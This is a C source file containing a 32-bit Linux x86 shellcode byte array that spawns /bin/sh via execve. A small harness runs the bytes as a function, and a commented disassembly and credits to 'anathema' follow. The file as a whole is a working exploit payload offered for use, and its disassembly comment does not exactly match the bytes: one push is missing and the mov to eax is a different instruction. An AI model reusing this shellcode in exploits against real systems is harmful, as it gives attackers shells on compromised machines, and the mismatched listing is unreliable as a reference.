#include <stdio.h>
#include <stdlib.h>

//
// Ripped from anathema style 
//

u_char c0de[] =
	"\x31\xc0"
	"\x50"
	"\x68\x2f\x2f\x73\x68"
	"\x68\x2f\x62\x69\x6E"
	"\x89\xe3"
	"\x50"
	"\x89\xE2"
	"\x54"	
	"\x89\xE1"
	"\xb0\x0b"
	"\xcd\x80"
;
main()
{
  void (*sc)() = (void *)c0de;
  printf("%d bytes\n", strlen(c0de));
  sc();
}

/*
 804839b:       31 c0                   xor    %eax,%eax
 804839d:       68 2f 2f 73 68          push   $0x68732f2f
 80483a2:       68 2f 62 69 6e          push   $0x6e69622f
 80483a7:       89 e3                   mov    %esp,%ebx
 80483a9:       50                      push   %eax
 80483aa:       89 e2                   mov    %esp,%edx
 80483ac:       54                      push   %esp
 80483ad:       89 e1                   mov    %esp,%ecx
 80483af:       b8 0b 00 00 00          mov    $0xb,%eax
 80483b4:       cd 80                   int    $0x80
*/
/*
This way to execve() (pushing args in the stack and passing to system call
adress in the stack) is from anathema.
*/
/*
there is _no_ source code for that :-)
*/

